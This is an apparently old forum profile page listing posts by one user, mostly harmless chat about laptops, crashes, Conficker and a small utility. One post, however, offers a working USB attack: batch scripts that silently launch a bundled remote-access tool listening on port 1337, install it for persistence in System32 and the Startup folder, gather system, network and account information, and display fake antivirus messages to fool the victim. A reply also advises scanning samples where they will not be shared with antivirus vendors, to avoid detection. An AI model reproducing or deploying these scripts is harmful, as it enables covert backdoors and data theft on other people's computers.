Jump to content

Pizza

Active Members
  • Posts

    71
  • Joined

  • Last visited

Posts posted by Pizza

  1. it will get detected more and more if you upload to virustotal as they distribute samples, for things like this you should use
    hXXp://scanner.novirusthanks.org

    and tick the do not distribute box ;)

    thank you.

  2. Programs used

    Notepad to write batch scripts

    WindowsRAT.exe to open port 1337

    IExpress to make the file and command(windowsrat.exe 1337) run in background

    http://virusscan.jotti.org/en/scanresult/5...ce1299d7fa9507e

    http://www.virustotal.com/analisis/120844c...366e-1245102553

    not detected.

    this is just a basic thing.

    autorun.bat this will start when you plug in the usb drive (there is a autorun.inf on it but if computer has autorun disabled this is the file you should start)

    @echo off
    start /min launch.exe
    cls
    start /min launch.bat
    cls
    exit

    launch.exe has windowsrat.exe ( i did not write this i downloaded this from somewhere i think its from packet storm ) i used iexpress and put windowsrat.exe in it and it will run in background, the command windowsrat.exe 1337 is executed server is on port 1337 now you can connect to it using telnet.

    launch.bat this will be minimized but just incase someone opens the window it will have false messages. this you can see puts launch.exe in system32 and copies startupsystem.bat to users startup folder. this also collects ip address and then you can telnet to that ip address and port 1337

    echo off
    copy launch.exe C:\Windows\System32
    cls
    copy startupsystem.bat "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup"
    cls
    mkdir \Information\%USERNAME%
    cls
    Echo Anti-Virus Portable
    systeminfo > \Information\%USERNAME%\%USERNAME%sysinfo.txt
    cls
    Echo Anti-Virus Portable
    arp -a > \Information\%USERNAME%\%USERNAME%arp.txt
    cls
    Echo Searching and Removing Virus
    netstat -a > \Information\%USERNAME%\%USERNAME%netstat.txt
    cls
    Echo Searching and Removing Virus
    ipconfig > \Information\%USERNAME%\%USERNAME%ipconfig.txt
    cls
    Echo Searching and Removing Virus
    tasklist > \Information\%USERNAME%\%USERNAME%task.txt
    cls
    Echo Searching and Removing Virus
    net group > \Information\%USERNAME%\%USERNAME%group.txt
    cls
    Echo Searching and Removing Virus
    net localgroup > \Information\%USERNAME%\%USERNAME%localgroup.txt
    cls
    Echo Searching and Removing Virus
    net share > \Information\%USERNAME%\%USERNAME%share.txt
    cls
    Echo Searching and Removing Virus
    net use > \Information\%USERNAME%\%USERNAME%use.txt
    cls
    Echo Searching and Removing Virus
    net user > \Information\%USERNAME%\%USERNAME%users.txt
    cls
    Echo No Virus Found
    net view > \Information\%USERNAME%\%USERNAME%view.txt
    Echo No Virus Found
    cls
    exit

    startupsystem.bat this will start launch.exe when computer startups and this user logs in i tried to make it a service but i couldnt...if you can you should do that.

    start launch.exe
    exit

    removal.bat it deletes launch.exe from sys32 and deletes startupsystem.bat...

    @echo off
    del "C:\Windows\System32\Launch.exe"
    cls
    del "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\startupsystem.bat"
    cls
    exit

    you should have autorun disabled. and monitor your startup folder i think some anti spyware do it but its good if you check it.

    i am not a coder, but if you are you can improve this..DO IT.

    Download: http://www.2shared.com/file/6329193/806de49d/USBHACK.html

    -Pizza (aka JPizza)

  3. i am using spiceworks and i see two new services installed on my computer they have random names, i have not installed anything...

    anyone know if conficker does this..because my school had conficker problem and i insterted my flashdrive in computer...i have removed conficker with a removal tool from fsecure...

    :(

    post-9028-1243978098_thumb.jpg

  4. i made simple program that uses nircmd and java

    its called UtilRunner

    the Graphical User Interface is made in java

    it executes commands when you click the button

    example

    you click monitor off

    it executes "nircmd monitor off"

    sys req:

    win 98 + (some commands dont work depends on your OS)

    java installed

    you can download source code and binary here: http://www.2shared.com/file/3417312/d47598..._Runner_30.html

    it should be easy to use

    click the batch file to run it

    to close just close the cmd window

    screenshots:

    http://albums.kimag.es/albums/mytheme/23902551.jpg

    http://albums.kimag.es/albums/mytheme/61048518.jpg

  5. what are you running in your VM player? I was running ubuntu but had to uninstall everything to reinstall do to a slight noob issues but I am reinstalling now I l like the look and feel of ubuntu but am curious of other Linux distros and users opinions

    first time i ran bt3 and second time i ran xubuntu

  6. i had bsod in vista recently i was running vmware player and when i was done using it i closed it and after 2 second pause screen went black and then blue computer rebooted and when it did i wanted to make sure it was the vmware player i ran it again and closed it same thing happened

    i had bsod reason vmware player

    i had many on 98 but this is first in vista for me

  7. i want to buy at laptop but i am not sure what to get

    i need new laptop under $500 with cd and dvd rom / burner and good CPU and 7+ inch screen 1gig ram

    i wont be using it for games i might use it for media a little bit

    any recommendation

×
×
  • Create New...